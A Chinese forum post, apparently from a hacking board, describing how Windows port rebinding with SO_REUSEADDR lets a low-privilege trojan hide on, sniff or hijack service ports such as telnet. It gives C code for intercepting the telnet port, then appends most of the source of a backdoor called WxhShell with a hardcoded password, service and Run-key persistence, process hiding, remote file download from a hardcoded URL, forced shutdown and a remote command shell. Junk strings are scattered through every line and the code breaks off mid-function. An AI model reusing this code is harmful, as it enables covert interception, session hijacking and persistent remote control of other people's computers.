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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |{La@X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); # ELYPp]6  
L$^)QxH7  
  saddr.sin_family = AF_INET; >J{e_C2ZS  
zICrp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zb.sh  
@/xdWN!,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,mM7g  
<DhuY/o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {Rn*)D9  
@_?Uowc8  
  这意味着什么?意味着可以进行如下的攻击: zKThM#.Wa  
/!U(/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8:K_S a%  
XpPcQIM*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n(_wt##wE~  
Z8Tb43?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;8w CQ  
czK}F/Sg`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7A{Z1[7  
seb/rxb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (^m~UN2@~m  
eF?jNO3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K6,d{n  
!8tqYY?>@\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VUD9ZyPw  
fONycXM]  
  #include fC/P W`4Ae  
  #include v)nBp\fjxp  
  #include %&eBkN!T  
  #include    +NoVe#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1*:BOoYx  
  int main() SVPksr  
  { 7wHd*{^9N  
  WORD wVersionRequested; h~ q5GhY!9  
  DWORD ret; qA t#0  
  WSADATA wsaData; CHDt^(oa!B  
  BOOL val; xu >grj  
  SOCKADDR_IN saddr; 8v6AfTo%  
  SOCKADDR_IN scaddr; pv^:G;  
  int err; RY\ 0dv>  
  SOCKET s;  {IT xHt  
  SOCKET sc; f]2;s#cu  
  int caddsize; f||S?ns_  
  HANDLE mt; ~|ha9 1  
  DWORD tid;   wdIJ?\/763  
  wVersionRequested = MAKEWORD( 2, 2 ); rj/nn)vv;  
  err = WSAStartup( wVersionRequested, &wsaData ); #;h> x  
  if ( err != 0 ) { ]2_=(N\Kt  
  printf("error!WSAStartup failed!\n"); /xd|mo)D  
  return -1; cDz^jC   
  } C1OiMb(:  
  saddr.sin_family = AF_INET; c=re(  
   +ijxv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \ *A!@T  
WUb] 8$n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NKiWt Z"  
  saddr.sin_port = htons(23); _jaB[Q=By  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8J~-|<Q6  
  { '@1C$0tx  
  printf("error!socket failed!\n"); sVe<l mL  
  return -1; N w/it*f  
  } -}RGz_LO/  
  val = TRUE; "om[S :ai  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8&CQx*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xEufbFAN?  
  { b`;Cm)@X!)  
  printf("error!setsockopt failed!\n"); GyfKSj;  
  return -1; m@YK8 c#$  
  } !P gwFJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Us_1 #$p,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +mYK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T-x}o  
9{Igw"9ck  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3il$V78|  
  { FJFO0Hb6  
  ret=GetLastError(); bd2QQ1[1vh  
  printf("error!bind failed!\n"); E0.o/3Gw6  
  return -1; -*qoF(/U  
  } <KX+j,4  
  listen(s,2); Nl^u A  
  while(1) o* e'D7  
  { DH)E9HL  
  caddsize = sizeof(scaddr); (4/W)L$  
  //接受连接请求 s%G%s,d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &d]@$4u$;  
  if(sc!=INVALID_SOCKET) w Ju9.  
  { z}Um$'. =  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A.(e=;0bu  
  if(mt==NULL) p[}~Z|(  
  { Ao\Im(?  
  printf("Thread Creat Failed!\n"); 8 EU/}Ym  
  break; ,x?Jrcx~'C  
  } < Yc)F.:  
  } -8v:eyc  
  CloseHandle(mt); {: =]J4]  
  } H;#C NB<e  
  closesocket(s); /h@3R[k  
  WSACleanup(); 5yjG\ ~  
  return 0; w"L]?#  
  }   #X0Xc2}{f  
  DWORD WINAPI ClientThread(LPVOID lpParam) _/YM@%d  
  { c GyBml1  
  SOCKET ss = (SOCKET)lpParam; 8[#EC3  
  SOCKET sc; U[z2{\  
  unsigned char buf[4096]; f<y3/jl4  
  SOCKADDR_IN saddr; a3,A_M}M'  
  long num; Hk$do`H-=Y  
  DWORD val; UK)wV  
  DWORD ret; Uy?X-"UR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 55=YM'5]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3E}j*lo  
  saddr.sin_family = AF_INET; 1v*N]}`HU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fZQ2<*)pqO  
  saddr.sin_port = htons(23); AEUR` .  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j|{ n?  
  { 0qm CIcg  
  printf("error!socket failed!\n"); $"va8,  
  return -1; 6q,CEm  
  } -J0I2D  
  val = 100; S|?P#.=GX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g'2}Y5m$`  
  { @.,'A[D!K  
  ret = GetLastError(); +wZ|g6vMct  
  return -1; =&~ K;=:  
  } n*caP9B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V(Cxd.u   
  { |hX\ep   
  ret = GetLastError(); R7c42L\QA  
  return -1; D`U,T& @  
  } qC q?`0&#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n*Hx"2XF  
  { @VyF' ?}  
  printf("error!socket connect failed!\n"); QHd|cg  
  closesocket(sc); =F_j})O5  
  closesocket(ss); Ox@$ }  
  return -1; !E,|EdIr  
  } \\{78WDA  
  while(1) w }8=sw  
  { l9 n$cv^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F2Gg_u@7M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N|8^S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ),$^h7[n  
  num = recv(ss,buf,4096,0); !j3Xzn9  
  if(num>0) R _2#7Xs  
  send(sc,buf,num,0); {c7@`AV]  
  else if(num==0) M XuHA?  
  break; .=) *Qx+  
  num = recv(sc,buf,4096,0); ONUa7  
  if(num>0) j"+6aD/lv  
  send(ss,buf,num,0); :*-O;Yw?S@  
  else if(num==0) !uA'0U?ky  
  break; c?6(mU\x  
  } +~7[T/v+n  
  closesocket(ss); [8vqw(2Tm(  
  closesocket(sc); =FM rVE  
  return 0 ; Z7 ++c<|p  
  } b,47 EJ}  
3TN'1D ei  
8E>2 6@.  
========================================================== M #%V%<  
ony;U#^T  
下边附上一个代码,,WXhSHELL iZ0(a   
a(uQGyr[k1  
========================================================== ?OGs+G  
IvI;Q0E-3  
#include "stdafx.h" Z/:W.*u  
?.ofs}  
#include <stdio.h> ;zSV~G6-  
#include <string.h> ebLt:gGo  
#include <windows.h> )iZhE"?z  
#include <winsock2.h> zLPCWP.u  
#include <winsvc.h> c~d*SDca  
#include <urlmon.h> yr)e."#S  
ZIc-^&`r=  
#pragma comment (lib, "Ws2_32.lib") g^U-^ f  
#pragma comment (lib, "urlmon.lib") a, `B.I  
RK_z!%(P  
#define MAX_USER   100 // 最大客户端连接数 -$kbj*b##  
#define BUF_SOCK   200 // sock buffer 9h<iw\ $'  
#define KEY_BUFF   255 // 输入 buffer iztgk/(+G  
!Wy&+H*0  
#define REBOOT     0   // 重启 mn(MgJKQ\  
#define SHUTDOWN   1   // 关机 ANR611-a  
)P|/<>z  
#define DEF_PORT   5000 // 监听端口 V1A7hRjxvG  
yKmHTjX=  
#define REG_LEN     16   // 注册表键长度 ,S?:lQuK5  
#define SVC_LEN     80   // NT服务名长度 [7[$P.MS{  
]ed7Q3lq  
// 从dll定义API [?da BXS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :ra[e(l9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `g{eWY1l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [Uj,, y.wB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $$R- >  
8:]5H}H i  
// wxhshell配置信息 aZmbt,.V  
struct WSCFG { {q&A/  
  int ws_port;         // 监听端口 p4K 8L'nZ  
  char ws_passstr[REG_LEN]; // 口令 @s\}ER3  
  int ws_autoins;       // 安装标记, 1=yes 0=no =4Jg6JKYg  
  char ws_regname[REG_LEN]; // 注册表键名 2O2d*Ld>  
  char ws_svcname[REG_LEN]; // 服务名 rNgAzH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~\zIb/ #  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _b &Aa%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ON"V`_dq+M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fJi?~[5<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .o8pC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sEx\7tK  
9y)}-TcSpY  
}; L)Da1<O  
v^ 1x}  
// default Wxhshell configuration X4"[,:Tw  
struct WSCFG wscfg={DEF_PORT, If|i `,Iy  
    "xuhuanlingzhe", D.h<!?E%  
    1, ]`}EOS-Q  
    "Wxhshell", T8vMBaU!qY  
    "Wxhshell", [VOw:|Tt  
            "WxhShell Service", ;bq EfV0`2  
    "Wrsky Windows CmdShell Service", hiaTJE|J?  
    "Please Input Your Password: ", ;kVo? W]  
  1, pf0uwXo  
  "http://www.wrsky.com/wxhshell.exe", > !HC ?  
  "Wxhshell.exe" m h|HEkM  
    }; fJY b)sN  
B_%O6  
// 消息定义模块 w_q =mKu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ki3 wqY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EtcXzq>w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v2mqM5Z  
char *msg_ws_ext="\n\rExit."; jF5oc   
char *msg_ws_end="\n\rQuit."; ?=?9a  
char *msg_ws_boot="\n\rReboot..."; yF^)H{yx  
char *msg_ws_poff="\n\rShutdown..."; opCQ=G1  
char *msg_ws_down="\n\rSave to "; "C+Fl /v  
,E4qxZC(X  
char *msg_ws_err="\n\rErr!"; o4&#,m+ :  
char *msg_ws_ok="\n\rOK!"; Zr;(a;QKs  
yn{U/+  
char ExeFile[MAX_PATH]; $7\hszjZ  
int nUser = 0; zx5t gZd,N  
HANDLE handles[MAX_USER]; xCm`g {  
int OsIsNt; AdRt\H<  
|CjdmQ u  
SERVICE_STATUS       serviceStatus; 3. g-V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j<i: rk|  
VHU,G+ms  
// 函数声明 .PJ_1  
int Install(void); ':,p6  
int Uninstall(void); ivi&;  
int DownloadFile(char *sURL, SOCKET wsh); DVRbTz3V  
int Boot(int flag); 7me1 :}4  
void HideProc(void); R<1[hH9"o  
int GetOsVer(void); /?:]f  
int Wxhshell(SOCKET wsl); p5=VGKp  
void TalkWithClient(void *cs); eadY(-4|I-  
int CmdShell(SOCKET sock); 'gz@UE1  
int StartFromService(void); @nF#\  
int StartWxhshell(LPSTR lpCmdLine); _ "[O=h:  
fkr; a`<W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <1E* wPm8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gt?ckMB  
4_?*@L1  
// 数据结构和表定义 zMN4cBL9m  
SERVICE_TABLE_ENTRY DispatchTable[] = skfFj&_T  
{ )TgjaR9G  
{wscfg.ws_svcname, NTServiceMain}, ZlYb8+rW  
{NULL, NULL} iI%"]- 0@1  
}; wB0ONH[  
ed7Hz#Qc  
// 自我安装 -"3<Ll  
int Install(void) N/ mC,7Q  
{ A*hc w  
  char svExeFile[MAX_PATH]; `]g}M,  
  HKEY key; affig  
  strcpy(svExeFile,ExeFile); "@E(}z'sM  
=nN&8vRH  
// 如果是win9x系统,修改注册表设为自启动 ?QCHkhU  
if(!OsIsNt) { Y<-dd"\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0@8EIQxK"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ||k^pzj%  
  RegCloseKey(key); ]#x? [ F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _zj}i1!E"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LP:C9 Ol\  
  RegCloseKey(key); !/MHD  
  return 0; m.N/g,  
    } lO0 PZnW9  
  } Z"G@I= Q(  
} KA$l.6&d  
else { p)=Fi}#D\  
Yv jRJ  
// 如果是NT以上系统,安装为系统服务 bi[gyl#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DcQsdeuQ  
if (schSCManager!=0) 'y.'Xj:l  
{ iw^(3FcP@C  
  SC_HANDLE schService = CreateService bPtbU :G  
  ( QA&BNG  
  schSCManager, 8z, |N#  
  wscfg.ws_svcname, ?yt"  
  wscfg.ws_svcdisp, mam2]St"  
  SERVICE_ALL_ACCESS, "J%/xj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3EKqXXzOB  
  SERVICE_AUTO_START, (""1[XURQK  
  SERVICE_ERROR_NORMAL, =-dk@s  
  svExeFile, \[w82%U  
  NULL, !jxz2Q  
  NULL, {!hA^[}|  
  NULL, ^g2p!7  
  NULL, #b4Pn`[   
  NULL @l:\Ka~TS  
  ); wA<#E6^vG  
  if (schService!=0) niV=Ijt{5  
  { fu95-)M  
  CloseServiceHandle(schService); 29E9ZjSK  
  CloseServiceHandle(schSCManager); NPM}w!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +LM /< l  
  strcat(svExeFile,wscfg.ws_svcname); M[R\URu8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !fcr3x|Y~M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 438+ zU  
  RegCloseKey(key); w%[ `'_[  
  return 0; +;Jb)8  
    } V{[vIt*  
  }  w|>O!]K]  
  CloseServiceHandle(schSCManager); &dkjT8L$  
} \{G1d"n  
} @iwg`j6ol  
9+\3E4K  
return 1; gs_nUgcA  
} r9@Q="J_)  
GJY7vS^#  
// 自我卸载 zl j%v/9  
int Uninstall(void) \$Nx`d aFi  
{ t F<|Eja *  
  HKEY key; V[Jd1T  
D@(Y.&_  
if(!OsIsNt) {  `Up Zk?k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {g *kr1JM  
  RegDeleteValue(key,wscfg.ws_regname); Yl+r>+^  
  RegCloseKey(key); W|@/<K$V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Ah\-{]  
  RegDeleteValue(key,wscfg.ws_regname); r~uWr'}a}  
  RegCloseKey(key); Y.qlY3iBp  
  return 0; +_ HPZo  
  } zF2GW  
} }Z ws e%;  
} HUtuUX  
else { q*oUd/F8  
1B;sSp.>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \*s'S*~  
if (schSCManager!=0) H|H!VPof]  
{ Z4/rqU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8#w}wGV*  
  if (schService!=0) yD+)!q"  
  { [e+"G <>  
  if(DeleteService(schService)!=0) { 2c.~cNx`q[  
  CloseServiceHandle(schService); HPGi5rU  
  CloseServiceHandle(schSCManager); XTD _q  
  return 0; )x-iru A:  
  } BOLG#}sm  
  CloseServiceHandle(schService); MmBM\Dnv  
  } VrA9}"1x~*  
  CloseServiceHandle(schSCManager); N&!qu r \  
} 6<+R55  
} I#D{6%~  
/YWoDHL  
return 1; 3 [lF  
} y_$=Pu6H  
9qe6hF/29  
// 从指定url下载文件 x)wIGo  
int DownloadFile(char *sURL, SOCKET wsh) XX5 ):1  
{ sH(AsKiNKe  
  HRESULT hr; >WMH.5p  
char seps[]= "/"; kEtYuf^  
char *token; Lnnl++8Y  
char *file; ` RUr/|S  
char myURL[MAX_PATH]; yG5T;O&  
char myFILE[MAX_PATH]; "PBUyh-Z  
'g8~539{&  
strcpy(myURL,sURL); SnRTC<DDh  
  token=strtok(myURL,seps); i8w(G<Y=  
  while(token!=NULL) _^'fp  
  { R ;^[4<&  
    file=token; R/M:~h~F!  
  token=strtok(NULL,seps); ur-&- G^  
  } BlS0I%SN  
@4 m_\]Wy  
GetCurrentDirectory(MAX_PATH,myFILE); nJF"[w,?  
strcat(myFILE, "\\"); wxARD3%  
strcat(myFILE, file); gOZ$rv^g  
  send(wsh,myFILE,strlen(myFILE),0); 9)Y]05us  
send(wsh,"...",3,0); }> k9]Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3_2(L"S2  
  if(hr==S_OK) |,j6cFNw  
return 0; .!Kdi|a)  
else W$@q ~/E  
return 1; *usfJ-  
>~I~!i3  
}  gM20n^  
gEtD qq~y@  
// 系统电源模块 "xlf6pm%  
int Boot(int flag) uAR!JJ  
{ FfN==2:b  
  HANDLE hToken; HH3WZ^0>  
  TOKEN_PRIVILEGES tkp; ehI*cf({  
Qw.""MLmN8  
  if(OsIsNt) { dRyK'Xr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0O?B!Jr]RM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X&h4A4#P  
    tkp.PrivilegeCount = 1; w*r.QzCu,5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X~Uvh8O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w-R>g dm  
if(flag==REBOOT) { q[Hx y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l}%!&V0  
  return 0; ?@l9T)fF  
} EXg\a#4['  
else { s,N%sO;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) to^ &:  
  return 0; D Y($  
} ,)XT;iGQe  
  } Y:]~~-f\~  
  else { I@a7AuOw  
if(flag==REBOOT) { zTBr<:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]v@#3,BV  
  return 0; x&tad+T  
} ZrnZ7,!@  
else { v I@Wuu:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?7^H1L  
  return 0; ePK^v_vBD  
} H^p ?t=Y  
} Ooz+V;#Q  
QP)-O*+AA  
return 1; ',`iQt!Lx  
} 1b E$x^P  
Z:09 ]r1  
// win9x进程隐藏模块 /sH3Rk.>  
void HideProc(void) n[CESo%[  
{ ~qLbyzHaB  
I)V2cOrXM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tS8*l2Y`   
  if ( hKernel != NULL ) LC K   
  { 'O8"M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zgt, 'T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Miqu  
    FreeLibrary(hKernel); -<sn+-uE:  
  } 3'Q H\t5  
b{s_cOr/  
return; /K:M ,q  
} ~!&WK,k6  
bgqN&J)Jr)  
// 获取操作系统版本 }]N7CWy  
int GetOsVer(void) 7qV_QZ!.  
{ QKYIBX  
  OSVERSIONINFO winfo; y'xB? >|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7w_`<b6  
  GetVersionEx(&winfo); Z_D8}$!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~K 8eRT  
  return 1; .JZoZ.FAb  
  else `{CaJ6.  
  return 0; %+i g7a:  
} BHOxwW{  
YQ g03i  
// 客户端句柄模块 yJc<;Qx  
int Wxhshell(SOCKET wsl) "X g@X5BG  
{ J2Ocf&y;  
  SOCKET wsh; RD_&m?d  
  struct sockaddr_in client; 6*gMG3  
  DWORD myID; 5Y#yz>B@ ]  
!`hjvJryw  
  while(nUser<MAX_USER) 6BRQX\  
{ 1bF aQ50t  
  int nSize=sizeof(client); ]T}G-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 }iEEI  
  if(wsh==INVALID_SOCKET) return 1; mm'n#%\G  
QK<sibDI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;&37mO/T  
if(handles[nUser]==0) 'ADt<m_$  
  closesocket(wsh); jn>3(GRGC$  
else sb Z)z#Tr  
  nUser++; \/la`D  
  } `QXO+'j4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t8\F7F P  
)\l}i%L:  
  return 0; $SRpFz5y$  
} ] NL-)8u  
GN?^7kI  
// 关闭 socket f}0(qN/G  
void CloseIt(SOCKET wsh) 63QMv[`,  
{ v#@"Evh7  
closesocket(wsh); T|Sz~nO}f  
nUser--; Uc>kCBCd  
ExitThread(0); wAkpk&R  
} g+t-<D"L5  
]C3{ _?=  
// 客户端请求句柄 Yw"o_  
void TalkWithClient(void *cs) }L>}_NV\  
{ @X?DHLM  
OGh9^,v  
  SOCKET wsh=(SOCKET)cs; eZIqyw  
  char pwd[SVC_LEN]; 3h aYb`  
  char cmd[KEY_BUFF]; W~aVwO'(  
char chr[1]; ^]( sCE7  
int i,j; Zk__CgS#  
n'9Wl'  
  while (nUser < MAX_USER) { d^mw&F)S  
/@X!  
if(wscfg.ws_passstr) {  U2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5'd$TC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=#:x()e  
  //ZeroMemory(pwd,KEY_BUFF); *BH*   
      i=0; X#'DS&{  
  while(i<SVC_LEN) { L/_h5Q:'W  
[-_3Zr  
  // 设置超时 IP7j)SM!  
  fd_set FdRead; qc2j}D0  
  struct timeval TimeOut; q,F\8M\$  
  FD_ZERO(&FdRead); ri1D*CS  
  FD_SET(wsh,&FdRead); zR6,?Tzg  
  TimeOut.tv_sec=8; >0Y >T6!  
  TimeOut.tv_usec=0; x :\+{-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^.p({6H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^90';ACFy  
So{/V%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N9tH0  
  pwd=chr[0]; x2=Bu#Y  
  if(chr[0]==0xd || chr[0]==0xa) { x^Q:U1  
  pwd=0; H<#M)8  
  break; bGOOC?[UX  
  } /W1!mih  
  i++; t6m3lq{  
    } Bha#=>4FU  
'#!nK O2<  
  // 如果是非法用户,关闭 socket K'%2'd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zsFzF`[k  
} ;{EIx*<d  
}(A`aB_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y G)xsY V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xyy;BO:  
>h1 3i@`r  
while(1) { )' +" y~  
O B`(,m#  
  ZeroMemory(cmd,KEY_BUFF); b3F)$UQ  
-0r 0M )  
      // 自动支持客户端 telnet标准   v/*}M&vo  
  j=0; k#uSH eq7f  
  while(j<KEY_BUFF) { AD K)p?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^\ A[^' 9  
  cmd[j]=chr[0]; 4&X D  
  if(chr[0]==0xa || chr[0]==0xd) { cWjb149@)  
  cmd[j]=0; p.6C.2q~s]  
  break; -} Zck1  
  } @W6:JO  
  j++; WfpQ   
    } uNCM,J!#~  
q;Tdqv!Ju  
  // 下载文件 WD# 96V  
  if(strstr(cmd,"http://")) { +Ac.@!X}%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~k\Dde  
  if(DownloadFile(cmd,wsh)) }A jE- K{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k-IL%+U  
  else p[R4!if2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q,R>dkS  
  } (VD Y]Q)  
  else { SW5V:|/  
NIgqdEu1  
    switch(cmd[0]) { #(swVo:+E  
  ]8q#@%v }  
  // 帮助 [ )3rc}:1  
  case '?': { */c4b:s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lh%z2 5t  
    break; WoM;)Q  
  } -]el_:H  
  // 安装 E|{(O  
  case 'i': { ]H| O  
    if(Install()) 9<n2-l|)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ln:6@Ok)5%  
    else $inlI_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fwQVxJe  
    break; YBh|\  
    } )U12Rshl  
  // 卸载 >[}lC7 z,  
  case 'r': { $mxm?7ZVR  
    if(Uninstall()) GWFF.Mo^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yq.<,b=87  
    else f~Y;ZvB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`yE'%6.}  
    break; mi[t1cN)=  
    } OT 0%p)  
  // 显示 wxhshell 所在路径 ]1hyvm3  
  case 'p': { /pY-how%!  
    char svExeFile[MAX_PATH]; GDF/0-/Z  
    strcpy(svExeFile,"\n\r"); aeZ$Wu>]W  
      strcat(svExeFile,ExeFile); pwvzs`[;  
        send(wsh,svExeFile,strlen(svExeFile),0); eH HY.^|  
    break; (#kKL??W  
    } 0JFS%Yjw[  
  // 重启 "s-3226kj  
  case 'b': { y0vJ@ %`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H9;0$Y(e-  
    if(Boot(REBOOT)) ;~D$ rT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yFoPCA86y  
    else { $%BI8_  
    closesocket(wsh); <W] RyEg`  
    ExitThread(0); o|:c{pwq  
    } Q,nJz*AJ  
    break; Tp46K\}Uf  
    } 8Q%g<jX*  
  // 关机 mR|L'[l  
  case 'd': { Ml_Hq>\U  
